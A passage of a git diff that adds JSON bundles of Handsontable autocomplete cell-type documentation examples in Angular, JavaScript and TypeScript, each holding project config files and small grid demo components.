    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example7-autocomplete-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `\n})\nexport class AppComponent {\n readonly colors = [\n 'Black',\n 'Blue',\n 'brown',\n 'cyan',\n 'Gray',\n 'green',\n 'Lime',\n 'Magenta',\n 'Navy',\n 'olive',\n 'orange',\n 'Pink',\n 'Purple',\n 'Red',\n 'silver',\n 'Teal',\n 'White',\n 'Yellow',\n ];\n\n readonly data = [\n ['Black', 'Black'],\n ['Blue', 'Blue'],\n ['Gray', 'Gray'],\n ['Red', 'Red'],\n ['White', 'White'],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n colHeaders: ['Case-insensitive (default)', 'Case-sensitive'],\n columns: [\n {\n type: 'autocomplete',\n source: this.colors,\n strict: false,\n },\n {\n type: 'autocomplete',\n source: this.colors,\n strict: false,\n // match case while searching autocomplete options\n filteringCaseSensitive: true,\n },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/autocomplete-cell-type/angular/example7.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example7","exampleTitle":"The filteringCaseSensitive option","docPermalink":"/autocomplete-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example8.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example8.ts.json new file mode 100644 index 00000000..69857065 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example8.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Autocomplete cell type · The sortByRelevance option · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example8-autocomplete-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `\n})\nexport class AppComponent {\n readonly statuses = [\n 'Backlog',\n 'In progress',\n 'Blocked',\n 'Done',\n 'Cancelled',\n ];\n\n readonly data = [\n ['Backlog', 'Backlog'],\n ['In progress', 'In progress'],\n ['Blocked', 'Blocked'],\n ['Done', 'Done'],\n ['Cancelled', 'Cancelled'],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n colHeaders: ['Source order (default)', 'Alphabetical order'],\n columns: [\n {\n type: 'autocomplete',\n source: this.statuses,\n strict: false,\n },\n {\n type: 'autocomplete',\n source: this.statuses,\n strict: false,\n // sort suggestions alphabetically instead of using the `source` order\n sortByRelevance: false,\n },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/autocomplete-cell-type/angular/example8.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example8","exampleTitle":"The sortByRelevance option","docPermalink":"/autocomplete-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example9.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example9.ts.json new file mode 100644 index 00000000..e8ae4c37 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example9.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Autocomplete cell type · The allowHtml option · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example9-autocomplete-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `\n})\nexport class AppComponent {\n readonly stockStatuses = [\n 'In stock',\n 'Low stock',\n 'Out of stock',\n 'Backordered',\n 'Discontinued',\n ];\n\n readonly data = [\n [this.stockStatuses[0], this.stockStatuses[0]],\n [this.stockStatuses[1], this.stockStatuses[1]],\n [this.stockStatuses[2], this.stockStatuses[2]],\n [this.stockStatuses[3], this.stockStatuses[3]],\n [this.stockStatuses[4], this.stockStatuses[4]],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n colHeaders: ['allowHtml: false (default)', 'allowHtml: true'],\n columns: [\n {\n type: 'autocomplete',\n source: this.stockStatuses,\n strict: false,\n },\n {\n type: 'autocomplete',\n source: this.stockStatuses,\n strict: false,\n // render `source` values as HTML — only use with trusted, static data\n allowHtml: true,\n },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/autocomplete-cell-type/angular/example9.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example9","exampleTitle":"The allowHtml option","docPermalink":"/autocomplete-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example1.js.json new file mode 100644 index 00000000..f97fe176 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Autocomplete cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst colors = [\n 'yellow',\n 'red',\n 'orange and another color',\n 'green',\n 'blue',\n 'gray',\n 'black',\n 'white',\n 'purple',\n 'lime',\n 'olive',\n 'cyan',\n];\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {\n type: 'autocomplete',\n source: ['BMW', 'Chrysler', 'Nissan', 'Suzuki', 'Toyota', 'Volvo'],\n strict: false,\n },\n { type: 'numeric' },\n {\n type: 'autocomplete',\n source: colors,\n strict: false,\n visibleRows: 4,\n },\n {\n type: 'autocomplete',\n source: colors,\n strict: false,\n trimDropdown: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/autocomplete-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example1.ts.json new file mode 100644 index 00000000..58ffd4eb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Autocomplete cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst colors: string[] = [\n 'yellow',\n 'red',\n 'orange and another color',\n 'green',\n 'blue',\n 'gray',\n 'black',\n 'white',\n 'purple',\n 'lime',\n 'olive',\n 'cyan',\n];\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {\n type: 'autocomplete',\n source: ['BMW', 'Chrysler', 'Nissan', 'Suzuki', 'Toyota', 'Volvo'],\n strict: false,\n },\n { type: 'numeric' },\n {\n type: 'autocomplete',\n source: colors,\n strict: false,\n visibleRows: 4,\n },\n {\n type: 'autocomplete',\n source: colors,\n strict: false,\n trimDropdown: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/autocomplete-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example2.js.json new file mode 100644 index 00000000..7e0b4716 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst colors = [\n 'yellow',\n 'red',\n 'orange',\n 'green',\n 'blue',\n 'gray',\n 'black',\n 'white',\n 'purple',\n 'lime',\n 'olive',\n 'cyan',\n];\n\nconst cars = ['BMW', 'Chrysler', 'Nissan', 'Suzuki', 'Toyota', 'Volvo'];\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car
    (allowInvalid true)', 'Year', 'Chassis color', 'Bumper color
    (allowInvalid true)'],\n columns: [\n {\n type: 'autocomplete',\n source: cars,\n strict: true,\n // allowInvalid: true // true is default\n },\n {},\n {\n type: 'autocomplete',\n source: colors,\n strict: true,\n },\n {\n type: 'autocomplete',\n source: colors,\n strict: true,\n allowInvalid: true, // true is default\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example2.js","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example2","exampleTitle":"Autocomplete strict mode","docPermalink":"/autocomplete-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example2.ts.json new file mode 100644 index 00000000..b350079e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst colors: string[] = [\n 'yellow',\n 'red',\n 'orange',\n 'green',\n 'blue',\n 'gray',\n 'black',\n 'white',\n 'purple',\n 'lime',\n 'olive',\n 'cyan',\n];\n\nconst cars: string[] = ['BMW', 'Chrysler', 'Nissan', 'Suzuki', 'Toyota', 'Volvo'];\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car
    (allowInvalid true)', 'Year', 'Chassis color', 'Bumper color
    (allowInvalid true)'],\n columns: [\n {\n type: 'autocomplete',\n source: cars,\n strict: true,\n // allowInvalid: true // true is default\n },\n {},\n {\n type: 'autocomplete',\n source: colors,\n strict: true,\n },\n {\n type: 'autocomplete',\n source: colors,\n strict: true,\n allowInvalid: true, // true is default\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example2.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example2","exampleTitle":"Autocomplete strict mode","docPermalink":"/autocomplete-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example3.js.json new file mode 100644 index 00000000..e688c472 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode with asynchronous data · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {\n type: 'autocomplete',\n source(_query, process) {\n fetch('/docs/scripts/json/autocomplete.json')\n .then((response) => response.json())\n .then((response) => process(response.data));\n },\n strict: true,\n },\n {},\n {},\n {}, // Bumper color is a default text column\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example3.js","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode with asynchronous data","docPermalink":"/autocomplete-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example3.ts.json new file mode 100644 index 00000000..0848d106 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode with asynchronous data · 